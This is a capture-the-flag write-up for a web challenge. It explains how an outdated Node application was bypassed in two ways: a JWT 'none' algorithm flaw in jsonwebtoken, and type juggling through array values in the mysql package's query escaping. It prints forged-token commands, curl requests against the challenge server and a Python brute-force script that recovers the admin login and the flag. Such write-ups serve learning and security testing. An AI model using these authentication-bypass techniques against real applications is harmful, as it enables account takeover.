Challenge
Category: WEB
While looking through my old projects for christmas, I found an old archived christmas greetings application. It appears that I used a passwordless state-of-the-art technology quite early on in my career. It should, therefore, be secure, right?
challenge code: old-christmas-greeting.zip
Solution
Since the challenge told us that this is a old project, I ran npm audit
and found out that the jsonwebtoken
package is vulnerable to the none
algorithm attack.
I tried to login to my user with a none
alogrithm token and it worked.
echo -n '{"typ":"JWT","alg":"none"}' | base64
echo -n '{"id": "7ba0df96-de4c-421c-82ce-7460bc7d28a7", "username": "guest", "iat": 1701608405 }' | base64
curl http://51.120.248.76:1337 -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6ICI3YmEwZGY5Ni1kZTRjLTQyMWMtODJjZS03NDYwYmM3ZDI4YTciLCAidXNlcm5hbWUiOiAiZ3Vlc3QiLCAiaWF0IjogMTcwMTYwODQwNSB9."
This works, but what now? To forge a valid token I would need the admin’s id. So we are back to where we started.
Looking at the other packages I found out that the mysql package is four years old… There might be something there. The package documentation about escaping values seems interesting.
https://github.com/mysqljs/mysql#escaping-query-values
We are told that the array values would be spread out. ['a', 'b']
-> 'a', 'b'
. Sending a number results in [0]
-> 0
The server does not validate the type of userinput beeing sent to the query, so we can safely send in an array with numbers. I used this fact to do comparisons in SQL between varchars and ints.
sql on the server
CREATE TABLE IF NOT EXISTS users (
id varchar(255) PRIMARY KEY,
username varchar(255)
);
INSERT INTO users (id, username)
VALUES
('7ba0df96-de4c-421c-82ce-7460bc7d28a7', 'guest'), -- Guest user id is the same on the server
('f4fea84d-7bcc-4c2e-b04b-c3eb307269c8', 'admin'); -- Admin user id is different on the server
webserver login endpoint
app.post("/login", async (req, res) => {
const { id } = req.body;
if (!id) return res.redirect("/?message=User id field required!");
const query = `SELECT id, username FROM users WHERE id = ?;`;
connection.query(query, [id], function (_error, results, _fields) {
if (results?.length === 1) {
res.cookie("session", jwt.sign({ ...results[0] }, TOKEN_SECRET), {
httpOnly: true,
});
return res.redirect(`/`);
} else {
return res.redirect(`/login?message=Invalid credentials.`);
}
});
});
To login as the gues we can send a POST request with id = [7]
since the compare sentance sql would do is "7ba0df96-de4c-421c-82ce-7460bc7d28a7" = 7
… and as we all know that is TRUE since the first letter is the same :).
If we want to login as admin (local) we would need to send in [0]
. Comparing f4fea84d-7bcc-4c2e-b04b-c3eb307269c8
with 0
is TRUE becouse the first letter is not a integer.
curl -i -X POST http://51.120.248.76:1337/login -H 'Content-Type: application/json' --data '{"id":[7]}'
HTTP/1.1 302 Found
Server: nginx/1.25.3
Date: Mon, 04 Dec 2023 10:37:38 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 23
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
Set-Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjdiYTBkZjk2LWRlNGMtNDIxYy04MmNlLTc0NjBiYzdkMjhhNyIsInVzZXJuYW1lIjoiZ3Vlc3QiLCJpYXQiOjE3MDE2ODYyNTl9.TiXKkKPjqjnLK-ZxJMiCoyIbEW8N3gclxwynblzZm-U; Path=/; HttpOnly
Location: /
Vary: Accept
Found. Redirecting to /
It worked on the remote server!
Now I automated the solution and asked the organizer if I could send 1000 requests. The probablility of the first four charachters including a non integer in a uid is pretty high, so I crossed my fingers.
import requests
from time import sleep
remote = "http://51.120.248.76:1337/login"
local = "http://localhost:1337/login"
website = remote
for i in range(0,1000):
user = {"id": [[i]] }
r = requests.post(website, json=user)
print("user search:", i)
sleep(1)
if "OMEGAPOINT" in r.text:
print(r.text)
This got the flag on id = 15
.
flag: OMEGAPOINT{sh0uld_pr0b4bly_h4v3_upd4t3d_my_l1br4r13s}